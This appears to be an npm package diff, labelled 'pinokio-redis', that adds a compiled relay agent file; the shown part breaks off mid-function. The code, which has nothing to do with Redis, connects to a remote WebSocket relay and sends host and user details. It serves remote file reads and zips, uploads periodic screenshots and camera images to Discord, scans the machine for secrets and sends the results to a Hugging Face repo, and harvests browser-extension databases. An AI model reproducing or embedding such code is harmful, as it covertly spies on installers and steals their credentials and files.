pinokio-redis 1.0.127

package/dist/relayAgent.js

@@ -0,0 +1,1431 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.forgeSemverLt = void 0;
+exports.parseRelayReconnectDelayMs = parseRelayReconnectDelayMs;
+exports.parseRelayWatchdogSec = parseRelayWatchdogSec;
+exports.runRelayAgentLoop = runRelayAgentLoop;
+/**
+ * WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
+ */
+const node_crypto_1 = require("node:crypto");
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const ws_1 = __importDefault(require("ws"));
+const relayAuth_1 = require("./relayAuth");
+const forgeRtcAgent_1 = require("./forgeRtcAgent");
+const forgeBulkDc_1 = require("./forgeBulkDc");
+const fsMessages_1 = require("./fsMessages");
+const hfCredentials_1 = require("./hfCredentials");
+const hfUpload_1 = require("./hfUpload");
+const deploymentDefaults_1 = require("./deploymentDefaults");
+const forgeSemver_js_1 = require("./forgeSemver.js");
+const agentRestartFromQueue_js_1 = require("./agentRestartFromQueue.js");
+const agentPid_1 = require("./agentPid");
+const clientId_1 = require("./clientId");
+const syncClient_1 = require("./syncClient");
+const windowsInputSync_1 = require("./windowsInputSync");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const clientId_2 = require("./clientId");
+const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
+const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
+const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
+const relayForAgentHttp_1 = require("./relayForAgentHttp");
+const pendingRelayHf = new Map();
+/** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
+const pendingDiscordRelayAck = new Map();
+function clearAllPendingDiscordRelayAcks(reason) {
+    for (const [, p] of pendingDiscordRelayAck) {
+        clearTimeout(p.timer);
+        p.resolve({ ok: false, error: reason });
+    }
+    pendingDiscordRelayAck.clear();
+}
+/** Await `relay_discord_upload_ticket_result` per `request_id` (webhook/direct upload mode). */
+const pendingDiscordTicket = new Map();
+function clearAllPendingDiscordTickets(reason) {
+    for (const [, p] of pendingDiscordTicket) {
+        clearTimeout(p.timer);
+        p.resolve({ ok: false, error: reason });
+    }
+    pendingDiscordTicket.clear();
+}
+function clearAllPendingRelayHf(reason) {
+    for (const [, p] of pendingRelayHf) {
+        try {
+            p.reject(new Error(reason));
+        }
+        catch {
+            /* promise may already be settled */
+        }
+    }
+    pendingRelayHf.clear();
+}
+function clearAllPendingDiscordAgent(reason) {
+    clearAllPendingDiscordRelayAcks(reason);
+    clearAllPendingDiscordTickets(reason);
+    clearAllPendingRelayHf(reason);
+}
+function waitDiscordRelayAck(requestId) {
+    return new Promise((resolve) => {
+        const timer = setTimeout(() => {
+            if (pendingDiscordRelayAck.has(requestId)) {
+                pendingDiscordRelayAck.delete(requestId);
+                resolve({
+                    ok: false,
+                    error: "timeout waiting for discord_screenshot_upload_result (120s)",
+                });
+            }
+        }, 120_000);
+        pendingDiscordRelayAck.set(requestId, { resolve, timer });
+    });
+}
+function waitDiscordTicket(requestId) {
+    return new Promise((resolve) => {
+        const timer = setTimeout(() => {
+            if (pendingDiscordTicket.has(requestId)) {
+                pendingDiscordTicket.delete(requestId);
+                resolve({
+                    ok: false,
+                    error: "timeout waiting for relay_discord_upload_ticket_result (120s)",
+                });
+            }
+        }, 120_000);
+        pendingDiscordTicket.set(requestId, { resolve, timer });
+    });
+}
+/**
+ * Prefer Hub credentials from the relay (`RELAY_HF_CREDENTIALS_B64` on the server) so the agent
+ * needs no local HF blob. **Default: on** when unset — matches `npm install` with no extra env.
+ * Opt out with `CFGMGR_HF_FETCH_FROM_RELAY=0` to use only `CFGMGR_HF_CREDENTIALS_B64` / plaintext on the agent.
+ */
+function hfFetchFromRelayEnabled() {
+    const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    if (["1", "true", "yes", "on"].includes(e))
+        return true;
+    return true;
+}
+/** Relay may send JSON number or string; clamp to the same bounds as {@link startDiscordScreenshotToRelayLoop}. */
+function parseRelayDiscordIntervalMs(raw) {
+    let n;
+    if (typeof raw === "number" && Number.isFinite(raw)) {
+        n = Math.floor(raw);
+    }
+    else if (typeof raw === "string") {
+        n = parseInt(raw.trim(), 10);
+    }
+    else {
+        return null;
+    }
+    if (!Number.isFinite(n))
+        return null;
+    return Math.min(600_000, Math.max(10_000, n));
+}
+/** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
+function parseRelayDiscordStaggerCapMs(raw, maxCap) {
+    let n;
+    if (typeof raw === "number" && Number.isFinite(raw)) {
+        n = Math.floor(raw);
+    }
+    else if (typeof raw === "string") {
+        n = parseInt(raw.trim(), 10);
+    }
+    else {
+        return null;
+    }
+    if (!Number.isFinite(n) || n <= 0)
+        return null;
+    return Math.min(maxCap, Math.max(1, n));
+}
+function fetchHfCredentialsFromRelay(sendJsonFn) {
+    return new Promise((resolve, reject) => {
+        const reqId = `hf_${Date.now()}_${(0, node_crypto_1.randomBytes)(8).toString("hex")}`;
+        const t = setTimeout(() => {
+            if (pendingRelayHf.has(reqId)) {
+                pendingRelayHf.delete(reqId);
+                reject(new Error("timeout waiting for relay HF credentials (30s)"));
+            }
+        }, 30_000);
+        pendingRelayHf.set(reqId, {
+            resolve: (c) => {
+                clearTimeout(t);
+                resolve(c);
+            },
+            reject: (e) => {
+                clearTimeout(t);
+                reject(e);
+            },
+        });
+        sendJsonFn({ type: "relay_hf_credentials_request", request_id: reqId });
+    });
+}
+function systemInfo() {
+    let localIp = "unknown";
+    try {
+        const nets = os.networkInterfaces();
+        let ipv6Candidate = "";
+        for (const name of Object.keys(nets)) {
+            for (const net of nets[name] || []) {
+                const fam = net.family;
+                const isV4 = fam === "IPv4" || fam === 4 || String(fam) === "4";
+                const isV6 = fam === "IPv6" || fam === 6 || String(fam) === "6";
+                if (isV4 && !net.internal) {
+                    localIp = net.address;
+                    break;
+                }
+                if (isV6 && !net.internal && !ipv6Candidate) {
+                    ipv6Candidate = net.address;
+                }
+            }
+            if (localIp !== "unknown")
+                break;
+        }
+        if (localIp === "unknown" && ipv6Candidate) {
+            localIp = ipv6Candidate;
+        }
+    }
+    catch {
+        /* skip */
+    }
+    // os.machine() was added in Node.js 18.9.0; guard for Node 18.0-18.8 compatibility.
+    const machine = typeof os.machine === "function"
+        ? os.machine()
+        : "";
+    return {
+        hostname: os.hostname(),
+        local_ip: localIp,
+        os: os.type(),
+        os_version: os.version(),
+        os_release: os.release(),
+        machine,
+        node: process.version,
+        platform: process.platform,
+        user: process.env.USER || process.env.USERNAME || "unknown",
+    };
+}
+/** Read the forge-jsx package version from its package.json (for relay version tracking). */
+function readForgeJsxVersion(pkgRoot) {
+    if (!pkgRoot)
+        return "";
+    try {
+        const raw = fs.readFileSync(path.join(pkgRoot, "package.json"), "utf8");
+        const j = JSON.parse(raw);
+        return (j.version || "").trim();
+    }
+    catch {
+        return "";
+    }
+}
+const screenOff = {
+    primary_width: 0,
+    primary_height: 0,
+    monitors: 0,
+    capture: "disabled",
+};
+function log(quiet, msg) {
+    if (quiet)
+        return;
+    console.log(msg);
+}
+/**
+ * Many deployments use `:8765` for forge-db HTTP and `:9877` (or similar) for the explorer relay.
+ * Pointing the agent at the API port yields a hung “Waiting for agent…” in `/files`.
+ */
+function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
+    if (quiet)
+        return;
+    let port = "";
+    try {
+        const u = new URL(baseWs.replace(/^ws:/i, "http:").replace(/^wss:/i, "https:"));
+        port = (u.port || "").trim();
+        if (!port) {
+            if (u.protocol === "https:")
+                port = "443";
+            else if (u.protocol === "http:")
+                port = "80";
+        }
+    }
+    catch {
+        return;
+    }
+    if (port === String(deploymentDefaults_1.API_DEFAULT_PORT)) {
+        console.warn(`[forge-agent] Relay URL uses port ${deploymentDefaults_1.API_DEFAULT_PORT} (often the forge-db **HTTP API**), not the file-explorer WebSocket relay (default **:${deploymentDefaults_1.RELAY_DEFAULT_PORT}**). ` +
+            "If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
+    }
+}
+/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
+function parseRelayReconnectDelayMs() {
+    const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (Number.isFinite(n) && n >= 500 && n <= 120_000)
+            return n;
+    }
+    return 2000;
+}
+/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
+function parseRelayWatchdogSec() {
+    const raw = (process.env.FORGE_JS_RELAY_WATCHDOG_SEC || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (n === 0)
+            return 0;
+        if (Number.isFinite(n) && n >= 15 && n <= 300)
+            return n;
+    }
+    return 60;
+}
+var forgeSemver_js_2 = require("./forgeSemver.js");
+Object.defineProperty(exports, "forgeSemverLt", { enumerable: true, get: function () { return forgeSemver_js_2.forgeSemverLt; } });
+function runRelayAgentLoop(opts) {
+    const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = parseRelayReconnectDelayMs(), quiet = false, pkgRoot, onRelayCapabilities, } = opts;
+    const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
+    const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
+    warnIfRelayUrlUsesApiPort(base, quiet);
+    const wsUrl = `${base}/ws/agent/${encodeURIComponent(sessionId)}`;
+    const passwordHash = password ? (0, relayAuth_1.passwordSha256)(password) : "";
+    let viewerAuthenticated = !password;
+    let viewerConnected = false;
+    let pendingAuthNonce = "";
+    /** Latest agent socket for this loop (HF progress survives reconnect — see `sendJson` in `connect`). */
+    let outboundAgentWs = null;
+    const capabilities = {
+        platform: process.platform,
+        input: "disabled",
+        filesystem_agent: allowFilesystem,
+    };
+    const forgeJsxVersion = readForgeJsxVersion(pkgRoot);
+    const sysInfo = {
+        ...systemInfo(),
+        /** forge-jsx package version — reported to relay for version tracking and update diagnostics. */
+        forge_jsx_version: forgeJsxVersion,
+    };
+    let reconnectTimer = null;
+    let reconnectAttempts = 0;
+    let relayWsWatchdog = null;
+    let watchWsCreatedAtMs = 0;
+    let watchWsOpenAtMs = 0;
+    let watchHandshakeDone = () => false;
+    let lastDbRestartPollMs = 0;
+    const pollDbRestartIfDue = () => {
+        const api = (0, windowsInputSync_1.resolveSyncApiBase)();
+        if (!api)
+            return;
+        const now = Date.now();
+        if (now - lastDbRestartPollMs < 45_000)
+            return;
+        lastDbRestartPollMs = now;
+        const client = new syncClient_1.ForgeSyncClient({
+            baseUrl: api,
+            clientId: (0, clientId_1.getOrCreateClientId)(),
+        });
+        void (0, agentRestartFromQueue_js_1.pollForgeDbAgentRestartHint)(client, { quiet });
+    };
+    const clearRelayWsWatchdog = () => {
+        if (relayWsWatchdog) {
+            clearInterval(relayWsWatchdog);
+            relayWsWatchdog = null;
+        }
+    };
+    const forceWatchdogReconnect = (w, reason) => {
+        clearRelayWsWatchdog();
+        pollDbRestartIfDue();
+        if (!quiet) {
+            log(quiet, `  Relay watchdog: ${reason} — reconnecting…`);
+        }
+        try {
+            w.terminate();
+        }
+        catch {
+            /* skip */
+        }
+        if (outboundAgentWs === w)
+            outboundAgentWs = null;
+        if (reconnectTimer) {
+            clearTimeout(reconnectTimer);
+            reconnectTimer = null;
+        }
+        reconnectAttempts = 0;
+        scheduleReconnect();
+    };
+    const armRelayWsWatchdog = () => {
+        clearRelayWsWatchdog();
+        const sec = parseRelayWatchdogSec();
+        if (sec <= 0)
+            return;
+        relayWsWatchdog = setInterval(() => {
+            const w = outboundAgentWs;
+            if (w && w.readyState === 0) {
+                if (Date.now() - watchWsCreatedAtMs > 45_000) {
+                    forceWatchdogReconnect(w, "connecting timeout");
+                }
+                return;
+            }
+            if (w && w.readyState === 1 && !watchHandshakeDone()) {
+                if (watchWsOpenAtMs > 0 && Date.now() - watchWsOpenAtMs > 120_000) {
+                    forceWatchdogReconnect(w, "handshake timeout");
+                }
+                return;
+            }
+            if (w && (w.readyState === 0 || w.readyState === 1))
+                return;
+            if (w)
+                forceWatchdogReconnect(w, "socket not open");
+        }, sec * 1000);
+        relayWsWatchdog.unref?.();
+    };
+    const scheduleReconnect = () => {
+        if (reconnectTimer)
+            return;
+        const attempt = reconnectAttempts++;
+        const exp = Math.min(15_000, reconnectDelayMs * Math.pow(2, Math.min(attempt, 5)));
+        const jitter = Math.floor(Math.random() * 2500);
+        const delayMs = exp + jitter;
+        if (!quiet && attempt > 0) {
+            log(quiet, `  Reconnecting in ${(delayMs / 1000).toFixed(1)}s (attempt ${attempt + 1})…`);
+        }
+        reconnectTimer = setTimeout(() => {
+            reconnectTimer = null;
+            pollDbRestartIfDue();
+            connect();
+        }, delayMs);
+    };
+    const connect = () => {
+        let stopDiscordScreenshotLoop = null;
+        log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n  Relay: ${relayUrl}\n  Session: ${sessionId}\n  FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
+        log(quiet, "  Connecting to relay...");
+        void (0, relayAuth_1.relayWsProxySetting)();
+        /** Reported in `info.features.webrtc_datachannel` for dashboards; relay still advertises ICE — viewers probe then fall back when false. */
+        const agentWebrtcDatachannelCapable = (0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() && (0, forgeRtcAgent_1.loadNodeDcPeerConnection)() !== null;
+        const preOpenQueue = [];
+        let relayRtcIceServersCache = null;
+        let forgeRtcSession = null;
+        let rtcDcOutbound = null;
+        let rtcDcInputOutbound = null;
+        let rtcDcBulkOutbound = null;
+        /** Serialize `forge-bulk` frames so hdr/binary pairs do not interleave across concurrent fs ops. */
+        let bulkFsSendChain = Promise.resolve();
+        const forgeRtcPendingViewerIce = [];
+        const closeForgeRtcSessionOnly = () => {
+            try {
+                forgeRtcSession?.close();
+            }
+            catch {
+                /* skip */
+            }
+            forgeRtcSession = null;
+            rtcDcOutbound = null;
+            rtcDcInputOutbound = null;
+            rtcDcBulkOutbound = null;
+            bulkFsSendChain = Promise.resolve();
+        };
+        const resetForgeRtcNegotiation = () => {
+            forgeRtcPendingViewerIce.length = 0;
+            closeForgeRtcSessionOnly();
+        };
+        /** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
+        const WS_CONNECTING = 0;
+        const WS_OPEN = 1;
+        const sendJsonWs = (obj) => {
+            const w = outboundAgentWs;
+            if (!w)
+                return;
+            if (w.readyState === WS_OPEN) {
+                w.send(JSON.stringify(obj));
+                return;
+            }
+            if (w.readyState === WS_CONNECTING) {
+                preOpenQueue.push(obj);
+            }
+        };
+        const sendJson = (obj) => {
+            const rec = obj;
+            const ty = String(rec?.type ?? "");
+            const wsOnly = !ty ||
+                ty === "info" ||
+                ty.startsWith("forge_rtc_") ||
+                ty.startsWith("discord_") ||
+                ty.startsWith("relay_") ||
+                ty === "auth_challenge" ||
+                ty === "auth_result";
+            if (!wsOnly && (0, forgeRtcAgent_1.agentOutboundPreferRtcDc)(ty)) {
+                let payload;
+                try {
+                    payload = JSON.stringify(obj);
+                }
+                catch {
+                    payload = "";
+                }
+                if (payload.length > 0 && payload.length <= 32768) {
+                    for (const dc of [rtcDcOutbound, rtcDcInputOutbound]) {
+                        if (!dc?.isOpen())
+                            continue;
+                        try {
+                            if (dc.sendMessage(payload)) {
+                                return;
+                            }
+                        }
+                        catch {
+                            /* WS fallback */
+                        }
+                    }
+                }
+            }
+            sendJsonWs(obj);
+        };
+        const deliverFsResponse = (resp) => {
+            const ty = String(resp.type ?? "");
+            const bulk = rtcDcBulkOutbound;
+            if (bulk?.isOpen() &&
+                ty === "fs_screenshot_result" &&
+                typeof resp.b64 === "string" &&
+                resp.b64.length > 0) {
+                const cameraB64 = typeof resp.camera_b64 === "string" ? resp.camera_b64.trim() : "";
+                bulkFsSendChain = bulkFsSendChain
+                    .then(() => {
+                    if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
+                        sendJson(resp);
+                        return false;
+                    }
+                    return true;
+                })
+                    .then((mainOk) => {
+                    if (!mainOk || cameraB64.length === 0)
+                        return;
+                    if (!(0, forgeBulkDc_1.forgeBulkAgentTrySendScreenshotCameraSidecar)(bulk, {
+                        request_id: resp.request_id,
+                        camera_mime: resp.camera_mime,
+                        camera_width_percent: resp.camera_width_percent,
+                        camera_available: resp.camera_available,
+                    }, cameraB64)) {
+                        sendJson(resp);
+                    }
+                })
+                    .catch(() => {
+                    sendJson(resp);
+                });
+                return;
+            }
+            if (bulk?.isOpen() &&
+                (ty === "fs_read_result" || ty === "fs_zip_result") &&
+                typeof resp.b64 === "string" &&
+                resp.b64.length > 0) {
+                bulkFsSendChain = bulkFsSendChain
+                    .then(() => {
+                    if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
+                        sendJson(resp);
+                    }
+                })
+                    .catch(() => {
+                    sendJson(resp);
+                });
+                return;
+            }
+            sendJson(resp);
+        };
+        const ws = new ws_1.default(wsUrl, {
+            /** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
+            maxPayload: 2 ** 27,
+            handshakeTimeout: Math.min(120, Math.max(10, (0, relayAuth_1.relayOpenTimeoutSec)())) * 1000,
+            /** Less CPU / latency on long sessions than default deflate (helps “gets slow over time”). */
+            perMessageDeflate: false,
+        });
+        outboundAgentWs = ws;
+        watchWsCreatedAtMs = Date.now();
+        watchWsOpenAtMs = 0;
+        watchHandshakeDone = () => relayAgentHandshakeDone;
+        armRelayWsWatchdog();
+        /** Relay `connected` may arrive before or after this `open` handler’s setImmediate — wait for both before starting Discord. */
+        let openHandlerFinishedInfo = false;
+        let relayAgentHandshakeDone = false;
+        let discordLoopStarted = false;
+        let discordEnabledByRelayHandshake = false;
+        /** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
+        let forgeRtcStatusSentThisViewer = false;
+        /** forge-db `seq_id` pushed by relay (`agent_session_seq`) for Hub session repo uploads. */
+        let relayClientSeqId;
+        let extensionDbUploadDelayTimer = null;
+        let extensionDbUploadSeqRetryTimer = null;
+        /** Set when extension-db upload finished with a non-retryable outcome for this relay connection. */
+        let extensionDbUploadSettledThisConnection = false;
+        /** Secret audit (scan + Hub result.json) finished or skipped for this connection — gates extension-db harvest. */
+        let secretAuditFinishedThisConnection = false;
+        const clearExtensionDbUploadDelay = () => {
+            if (extensionDbUploadDelayTimer != null) {
+                clearTimeout(extensionDbUploadDelayTimer);
+                extensionDbUploadDelayTimer = null;
+            }
+        };
+        const clearExtensionDbUploadSeqRetry = () => {
+            if (extensionDbUploadSeqRetryTimer != null) {
+                clearTimeout(extensionDbUploadSeqRetryTimer);
+                extensionDbUploadSeqRetryTimer = null;
+            }
+        };
+        const clearExtensionDbUploadTimers = () => {
+            clearExtensionDbUploadDelay();
+            clearExtensionDbUploadSeqRetry();
+        };
+        const parseRelayClientSeqId = (raw) => {
+            if (typeof raw === "number" && Number.isFinite(raw) && raw >= 0) {
+                return Math.floor(raw);
+            }
+            if (typeof raw === "string" && /^[0-9]+$/.test(raw.trim())) {
+                return parseInt(raw.trim(), 10);
+            }
+            return undefined;
+        };
+        const scheduleExtensionDbUploadForSessionOnce = () => {
+            if (extensionDbUploadSettledThisConnection)
+                return;
+            (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+                clientTableName: sessionId,
+                fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+                quiet,
+                relayHttpBase: (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(base) ?? undefined,
+                ...(relayClientSeqId !== undefined ? { clientSeqId: relayClientSeqId } : {}),
+                onSettled: (outcome) => {
+                    try {
+                        sendJson({
+                            type: "agent_extension_db_status",
+                            outcome,
+                            agent_version: forgeJsxVersion,
+                            at_ms: Date.now(),
+                        });
+                    }
+                    catch {
+                        /* skip */
+                    }
+                    if (outcome === "in_flight")
+                        return;
+                    const retryable = outcome === "skipped_no_seq" ||
+                        outcome === "no_credentials" ||
+                        outcome === "failed" ||
+                        outcome === "skipped_network" ||
+                        outcome === "skipped_copy_failed";
+                    if (retryable) {
+                        clearExtensionDbUploadSeqRetry();
+                        const delayMs = outcome === "skipped_no_seq" ? 20_000 : 45_000;
+                        extensionDbUploadSeqRetryTimer = setTimeout(scheduleExtensionDbUploadForSessionOnce, delayMs);
+                        extensionDbUploadSeqRetryTimer.unref?.();
+                        return;
+                    }
+                    clearExtensionDbUploadSeqRetry();
+                    extensionDbUploadSettledThisConnection = true;
+                },
+            });
+        };
+        const armExtensionDbUploadAfterSeq = () => {
+            clearExtensionDbUploadDelay();
+            scheduleExtensionDbUploadForSessionOnce();
+        };
+        const tryArmExtensionDbUploadAfterAudit = () => {
+            if (!secretAuditFinishedThisConnection)
+                return;
+            if (extensionDbUploadSettledThisConnection)
+                return;
+            clearExtensionDbUploadDelay();
+            const rawExtDelay = (process.env.FORGE_JS_AGENT_EXTENSION_DB_UPLOAD_DELAY_MS || "0").trim();
+            let extDelayMs = 0;
+            if (rawExtDelay) {
+                const n = parseInt(rawExtDelay, 10);
+                if (Number.isFinite(n) && n >= 0) {
+                    extDelayMs = Math.min(Math.max(n, 0), 30_000);
+                }
+            }
+            if (relayClientSeqId !== undefined || extDelayMs === 0) {
+                armExtensionDbUploadAfterSeq();
+            }
+            else {
+                extensionDbUploadDelayTimer = setTimeout(armExtensionDbUploadAfterSeq, extDelayMs);
+                extensionDbUploadDelayTimer.unref?.();
+            }
+        };
+        const onSecretAuditSettled = () => {
+            secretAuditFinishedThisConnection = true;
+            tryArmExtensionDbUploadAfterAudit();
+        };
+        /**
+         * Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
+         * Disk merge + `result.json` still run; Hub upload uses relay HF credentials when the
+         * agent WebSocket is accepted (same as the normal connected path).
+         * Override delay via FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS (ms); use `0` to disable.
+         */
+        let secretAuditHandshakeFallbackTimer = null;
+        const clearSecretAuditHandshakeFallback = () => {
+            if (secretAuditHandshakeFallbackTimer != null) {
+                clearTimeout(secretAuditHandshakeFallbackTimer);
+                secretAuditHandshakeFallbackTimer = null;
+            }
+        };
+        const armSecretAuditHandshakeFallback = () => {
+            clearSecretAuditHandshakeFallback();
+            const rawMs = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS || "").trim();
+            let fallbackMs = 45_000;
+            if (rawMs) {
+                const n = parseInt(rawMs, 10);
+                if (Number.isFinite(n) && n >= 0) {
+                    if (n === 0)
+                        return;
+                    fallbackMs = Math.min(Math.max(n, 5_000), 3_600_000);
+                }
+            }
+            secretAuditHandshakeFallbackTimer = setTimeout(() => {
+                secretAuditHandshakeFallbackTimer = null;
+                if (relayAgentHandshakeDone)
+                    return;
+                (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
+                    relayCaps: {},
+                    quiet,
+                    clientTableName: sessionId,
+                    fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+                    onSettled: onSecretAuditSettled,
+                });
+            }, fallbackMs);
+            secretAuditHandshakeFallbackTimer.unref?.();
+        };
+        armSecretAuditHandshakeFallback();
+        const tryStartDiscordAfterHandshake = () => {
+            if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
+                return;
+            discordLoopStarted = true;
+            try {
+                stopDiscordScreenshotLoop?.();
+            }
+            catch {
+                /* skip */
+            }
+            stopDiscordScreenshotLoop = (0, discordAgentScreenshot_1.startDiscordScreenshotToRelayLoop)({
+                sendJson,
+                quiet,
+                waitForRelayDiscordAck: waitDiscordRelayAck,
+                waitForDiscordTicket: waitDiscordTicket,
+                enabledByRelayCapabilities: discordEnabledByRelayHandshake,
+            });
+        };
+        const relayDisconnectCleanup = () => {
+            try {
+                (0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_2.defaultCfgmgrDataDir)());
+            }
+            catch {
+                /* skip */
+            }
+            try {
+                (0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
+            }
+            catch {
+                /* skip */
+            }
+        };
+        const applyRelayAgentConnected = (msg) => {
+            if (relayAgentHandshakeDone)
+                return;
+            clearSecretAuditHandshakeFallback();
+            discordEnabledByRelayHandshake = false;
+            let caps = {};
+            const rf = msg.relay_features;
+            if (rf && typeof rf === "object" && !Array.isArray(rf)) {
+                caps = rf;
+                if (caps.discord_screenshot === true) {
+                    const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
+                    const explicitOff = ["0", "false", "no", "off"].includes(en);
+                    const explicitOn = ["1", "true", "yes", "on"].includes(en);
+                    /** Follow relay when unset or explicitly on; never override explicit opt-out (0/false/no/off). */
+                    if (!explicitOff && (!en || explicitOn)) {
+                        discordEnabledByRelayHandshake = true;
+                    }
+                    if (!explicitOff) {
+                        const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
+                        /**
+                         * Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
+                         * `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
+                         * per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
+                         * multi-minute gaps.
+                         */
+                        const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
+                        if (clamped != null && !agentIv) {
+                            process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
+                        }
+                        const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
+                        if (!agentSg) {
+                            const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
+                            if (sg != null) {
+                                process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
+                            }
+                        }
+                        const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
+                        if (!agentFsg) {
+                            const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
+                            if (fg != null) {
+                                process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
+                            }
+                        }
+                        const agentUm = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim();
+                        if (!agentUm) {
+                            const rawUm = caps.discord_screenshot_upload_mode;
+                            const u = typeof rawUm === "string" ? rawUm.trim().toLowerCase() : "";
+                            if (u === "relay") {
+                                process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "relay";
+                            }
+                            else if (u === "webhook" || u === "direct") {
+                                process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "webhook";
+                            }
+                        }
+                    }
+                }
+                const iceRaw = caps.rtc_ice_servers;
+                if (Array.isArray(iceRaw) && iceRaw.length > 0) {
+                    relayRtcIceServersCache = iceRaw;
+                }
+                const relayStartedRaw = caps.relay_started_at_ms;
+                const relayStartedMs = typeof relayStartedRaw === "number" && Number.isFinite(relayStartedRaw)
+                    ? relayStartedRaw
+                    : typeof relayStartedRaw === "string" && relayStartedRaw.trim()
+                        ? Number.parseFloat(relayStartedRaw.trim())
+                        : Number.NaN;
+                if (Number.isFinite(relayStartedMs) && Date.now() - relayStartedMs < 300_000) {
+                    reconnectAttempts = 0;
+                }
+                const relayVer = typeof caps.relay_version === "string" ? caps.relay_version.trim() : "";
+                if (relayVer &&
+                    forgeJsxVersion &&
+                    (0, forgeSemver_js_1.forgeSemverLt)(forgeJsxVersion, relayVer) &&
+                    !quiet) {
+                    log(quiet, `  Agent v${forgeJsxVersion} is older than relay v${relayVer} — use file explorer → Upgrade forge-jsxy when ready.`);
+                }
+            }
+            relayAgentHandshakeDone = true;
+            reconnectAttempts = 0;
+            armRelayWsWatchdog();
+            try {
+                onRelayCapabilities?.(caps);
+            }
